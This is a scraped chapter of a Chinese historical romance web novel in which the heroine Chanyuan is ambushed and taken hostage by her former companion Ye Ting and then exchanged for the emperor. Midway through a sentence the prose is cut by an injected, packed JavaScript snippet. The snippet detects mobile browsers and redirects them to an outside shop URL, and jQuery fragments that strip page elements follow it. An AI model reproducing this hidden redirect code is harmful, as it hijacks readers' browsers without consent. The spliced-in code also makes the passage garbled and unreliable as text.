婵鸢带着西窗的人马赶了一夜路,天亮前抵达了河谷中段那处隘口,两岸峭壁如削,湟水在谷底翻涌出白色的浪沫,窄窄的谷道只容三五骑并行。
她将人手分成三股,两股伏在崖壁上的乱石丛里,一股堵在谷口,布下了一个口袋阵,为此,她让沈玄苏留在了谷口坐镇后方,自己前行查探。
大概小半夜过后,白杨峡谷之巅,一丛丛火把像鬼火般流窜,鬼吼般的人声浪沸以及半人高蓬草满山遍野,不知何时便会从某一处亮起微弱的鬼火,婵鸢勒马站在半山腰,总觉得不对劲。
叶亭的人马进入峡谷时,队形整肃得反常。前锋不过百余人,轻装简行,不举旗也不鸣号,像一支探路的斥候队。
婵鸢伏在崖壁上,看着那队人马缓缓行过谷底,却迟迟没有下令放箭,她觉得不对劲,人太少了。
叶亭带着五千人走南道,不可能只派一百人来蹚路。
她等了半盏茶的工夫,谷底又过去了两拨人马,零零散散,前后不接,像是故意被打散的散兵游勇。
每一拨都只有百来号人,三拨加起来不到五百,连叶亭的中军旗都没看见。
婵鸢心头猛地一沉。
上当了,叶亭根本没打算从白杨峡过!他分兵了,这五百人是饵,是拿来拖住她的。真正的主力,恐怕已经绕了更西面的山路,从另一条道插向了落雁坡的侧翼。
她霍然起身,正要下令撤出峡谷,谷底忽然传来一阵急促的马蹄声。
一队约莫两百人的骑兵从峡谷南口涌入,速度极快,甲胄铮亮,为首的副将她认得,是叶亭身边最信重的德坦吉布,西凉大军的一员猛将,传说曾单刀铁骑过百人,所过之处,人头在地下堆成小山,西凉周边的小部落皆是被他收编的。
德坦吉布也不恋战,带着人马从谷底一掠而过,朝北面出口冲去,分明是来接应诱饵队撤退的。
北面是落雁坡的方向,叶亭有可能是想从侧翼包抄落雁坡,婵鸢想也没想,驾马跟过去,蓝峥一边追她一边在她身后大喊了一声“主子”德坦吉布见她追来,回头瞥了一眼,随即催马加速。
两匹马在狭窄的谷道上你追我赶,马蹄踏碎河滩上的卵石,水花四溅。
婵鸢射出几次,都够不着那么远,她便收了弓,伏低身子催马紧咬,等着援军接近他们。
追了约莫半盏茶的工夫,谷道渐渐开阔,河水在前方拐了一个大弯,两岸的峭壁退去了,露出一片开阔的高地。
高地的尽头是一道断崖,崖下是湍急的河水,崖上光秃秃的,德坦吉布的马忽然停了,他勒马站在崖边,回身看着她,朗声笑道:“中原也有这么漂亮的女人吗?不愧是人杰地灵的好地方!美人,你骑术不错,可跟我比还差的太多。你跟我跟的这么近,是不是想嫁给我?”
婵鸢不跟他废话:“叶亭在哪?”
“你上来就找叶亭,莫非,你就是付婵鸢?”德坦吉布笑道:“我们王很喜欢你,可惜你是皇帝的女人,不过,我们西凉可没那么多规矩,美丽的女子是天边的云彩,地上的宝珠,只有最勇猛的男人才能猎娶。”
他胯下战马不安地刨了刨地面,崖边狂风吹动他身上的兽皮披风,他目光灼灼落在婵鸢身上,全然没有将眼前女子视作囚徒,反倒带着几分欣赏的戏谑:“若是你愿意随我王回西凉,往后,这草原大漠,任你驰骋,你做王后。”
婵鸢眸色沉沉,目光越过他,望向断崖之下奔腾不息的河流,心底没有半分动摇,只沉声追问:“我问你,叶亭到底在何处。”
“阿婵。”身后忽然有人开口。
婵鸢猛地回头,看见叶亭从松树后面走出来,腰间悬着长剑,面容消瘦了些,他站在崖边,身后是万丈的云海和深渊,风吹得他的衣摆猎猎翻飞。
“你追得倒是快。”叶亭笑了笑,“这么急着想见我吗,我的阿婵?”
婵鸢攥紧了缰绳:“叶亭,别以为我不知道你打的什么主意,白杨峡的三拨散兵是饵,引诱我分兵追击。你根本不打算从白杨峡过,你的主力早就绕了西面的山路,此刻怕是已经快到落雁坡侧翼了。你留在这里,是为了拖住我。”
叶亭没有否认:“我从不怀疑你有多么了解我,可你还是追来了。既然你知道是饵,为什么还要追?”
婵鸢骑在马上,飒飒风吹,她说:“我只是不想看你误入歧途,你我多年情谊,就算今日恩断义绝,可曾经的一切不能不算数,我记得你给过我的美好,可是,那些美好快不够抵消我对你的恨意。叶亭,你收手吧,我既往不咎,也会求刑部和大理寺为你洗脱罪名,你只要像鹰一样自由地离去,这样不好吗?”
叶亭厉声道:“你来见我,只是为了昭明帝当说客吗?你为了他,连死都不怕,还怕我起兵进攻?他若真爱你,就该让你留在云京,而不是带你来凉州送死!你以为他为什么让你来?因为你能打仗?因为你了解我?都不是。他需要你来。他需要一个‘帝后御驾亲征’的名头来鼓舞士气,需要一个‘忠烈同赴国难’的故事来让天下人觉得他师出有名!你在他的算计里,从来都是最好用的一颗子你知道吗!”
“你闭嘴。”婵鸢斥道:“莫须有的罪名,不可无故构陷他人!国之大事,在祀与戎,老师曾经教过的书文,你都忘了吗?”
叶亭走近了她,离她只有几步远,崖边的风把他的声音吹得断断续续:“你若是不信,我们现在就试试。我挟持你,让人去落雁坡给他送信,让他一个人来换你。你猜他会不会来?一个把皇权看得比命还重的人,会不会为了一个皇后把自己送到敌人手上?”
他说着,忽然身形一动,抢上前来。
婵鸢反应极快,拔剑便刺,可叶亭比她更快,侧身让过剑锋,左手一探便扣住了她的手腕,顺势一拧,将她从马背上拽了下来。
两人在崖边的碎石上翻滚了半圈,叶亭牢牢将她制在身前,一只手扣着她的两只手腕,另一只手横在她腰侧,她挣不开,被他囚在身下。
叶亭猩红的眼睛恋恋不舍地盯着她,那眼底的留恋,浓烈的情绪都太过真切,晃得婵鸢心头一颤,几乎要错觉,这还是那个背弃她的人。
他朝崖下吹了一声长长的口哨,崖壁两侧忽然冒出数十个伏兵,原来叶亭早就在此处布了人手。
“将付婵鸢被捕的消息传出去,若有人要来救她,不许带任何武器来。”
伏兵领命而去,马蹄声朝落雁坡方向远了。
身形转换,婵鸢又被他制在身前,后背抵着他的胸膛,这个怀抱曾经有多温暖,今晚就有多寒冷,她挣扎了一下,却被他扣得更紧了些。
“别动。”他的呼吸滚烫,就贴在她的耳廓,低沉沙哑的嗓音混着呼啸山风,沉沉落进她耳中:“我不想伤你。”
婵鸢牙齿死死咬着下唇,齿间溢出一点腥甜,眼眶泛红,却不肯落下半滴泪:“你早就伤了我,伤的是我的心!”
“你的心里,当真半分我的位置都没有了吗?”叶亭去咬她的耳朵。
她怒极,猛地抬起额头,用尽全身力气狠狠撞向他的额骨!
“咚”的一声闷响,骨骼相撞的钝痛骤然蔓延开来,过往岁岁年年的温存一幕幕狠狠扎进她的心底:“你个狼心狗肺的东西!叶亭,你忘了你从前是怎么跟我保证的?”
叶亭闷哼一声,额头泛红,却半分不退,禁锢她的手臂依旧没有松开的意思。
“只有你还念念不忘过去,我早已经把曾经的事忘了。”
曾经……曾经的事太多了,曾经府门深深,他是跟在她身后唯命是从的贴身仆从,她顽劣闯祸,永远是他挡在身前替她受罚;她深夜读书,永远是他守在窗外执灯伴读;她随口一句心愿,他便拼尽全力为她实现,那时的叶亭,满心满眼只有一个付婵鸢。
他曾经是她最信任的依靠,是她以为可以托付半生永不背叛的人。
可如今,昔日最忠的同袍,成了今□□她至绝境的仇敌。
叶亭看着她眼底浓烈的失望,额头相撞的疼痛远不及心口的万分之一。
“我没忘,我一辈子都没忘,年少的誓言我刻骨铭心,从未敢忘……可我们之间,世事翻覆,皇权倾轧,我身不由己,终究还是走到了兵戎相见的这一步。”
“别骗人了,”婵鸢凄然一笑,“没忘,你便不会叛我,不会逼我,不会用我要挟旁人!叶亭,你最不该的,就是亲手毁了我们所有的从前,是你亲手斩断了一切。从你选择站在我对立面的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915099|204295||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一刻起,我们的情分,就尽数作废,再也回不去了,所以别假惺惺的,我恶心。”
叶亭心口像是被生生撕裂一道血口,疼得窒息,执拗道:“我不准。阿婵,情是我种下的,恩是我守过的,就算决裂,就算对立,你也不准忘。回不去又如何?这辈子,你休想彻底甩开我。”
崖下传来急促的马蹄声,越来越近,在崖下停住了。
一个人飞奔至崖顶。
婵鸢从叶亭的肩侧望过去,看见沈玄苏一个人站在崖顶的边缘,没有带随从、兵器,就那么空着一双手来了。
“你要什么条件才肯放了她?”
叶亭笑了一声,“陛下好胆量。单枪匹马来赴约,就不怕我设了埋伏?”
“你有埋伏,朕带了人来也没有用。”沈玄苏冷声道:“君子守信重诺,西凉君,请放人。”
叶亭道:“你当真愿意拿自己去换她?你是皇帝,你死了,这天下就乱了。你想清楚了?”
沈玄苏道:“敢来,自然是想清楚了。你放人,朕随你处置,君无戏言。”
叶亭忽然无言。婵鸢被叶亭扣在身前,听见他这样说,却不觉得庆幸。她只觉得他太过任性,却又觉得自己这一条命很值得他费尽心机救一救。
叶亭突然双手一推,将她朝沈玄苏的方向推了出去,婵鸢踉跄了几步,被沈玄苏一把扶住。
她抬头看他,他的脸色很白,唇色也淡,可那双眼睛里的东西她看不透,像是滚烫的血水被死死压在一层薄冰底下。
“……伤到了吗?我看看,有没有受伤?”他颤声问。
婵鸢摇了摇头:“我没事,你别担心了。”
叶亭站在崖边,退后两步,朝他们拱了拱手:“陛下,付姑娘,后会有期。”
他说完,转身朝崖边跑去,纵身一跃,身影消失在断崖之下,崖下传来一阵衣袂破风的声响,然后再也不见。
婵鸢扑到崖边往下看,崖下只有河水,什么都没有了。
沈玄苏一直拉着她的手,怕她掉下去似的。
婵鸢觉得有些疼,回眸一看,她的手腕被叶亭居然攥出了一圈红痕,沈玄苏去碰她的额角,她发现额头也不知道什么时间蹭破了,隐隐作痛。
“我还有好消息你要不要听?”婵鸢小声说。
沈玄苏满眼是泪水:“……事已至此,还有什么好事吗?”
“别哭啦,”婵鸢擦了擦他的眼泪,神秘兮兮地摊开手掌:“你看。”
她掌心里躺着一枚铜制虎符。
“方才叶亭挟持我的时候,我趁他不备,从他腰间把这枚虎符摸走了,怎么样,我厉害吗?”
沈玄苏沉默了一息,接过虎符塞进她胸前的口袋里,抱着她往回走:“厉害……回营。”
“哦,好。”婵鸢的额头抵在他肩窝里,昏昏欲睡,感觉他抱着她走了很久,才回到扎在河谷口的临时营地。
蓝峥带着人迎上来,看见她满身的伤,脸色都变了,一句“主子”刚出口,被沈玄苏一个眼神止住。
程曦被叫来替她处理伤口,额头上的伤口清掉了淤血,手腕上的红痕敷了消肿的膏,膝盖上的淤青也贴了散瘀的膏药。
她老老实实坐在帐中的矮凳上,任由程曦摆弄这具破破烂烂的身体,看着帐帘外那个背对着她站着的身影,真的不知道该怎么跟他解释刚才发生的事。
他好像过于害怕了。
程曦退出去还看了沈玄苏一眼,紧接着像见了鬼一样快步跑了。
沈玄苏这才走进来,在她对面撩袍坐下,手里拿了一只小小的瓷瓶。
“去伤疤的药。”
他寡言少语,拔开瓶塞,沾了药膏在指尖,温柔地替她擦额角的伤口,擦了一层,吹了吹,再涂一层,像是要把她缝缝补补,变回本来的模样。
婵鸢看着近在咫尺的他,不知道他眼睛这样红,是不是又在外面偷偷哭了一阵,忍不住问:“你说,我要是毁容了,会不会丑得要命?”
沈玄苏的眼眶猛的又湿润了,他低头轻轻地在她额角那道伤旁边吻了吻,大手抚摸着她的头发,失魂落魄地说:“那就划伤我的脸,变得比你还丑,有我做比较,你便不会有这样的忧愁了。”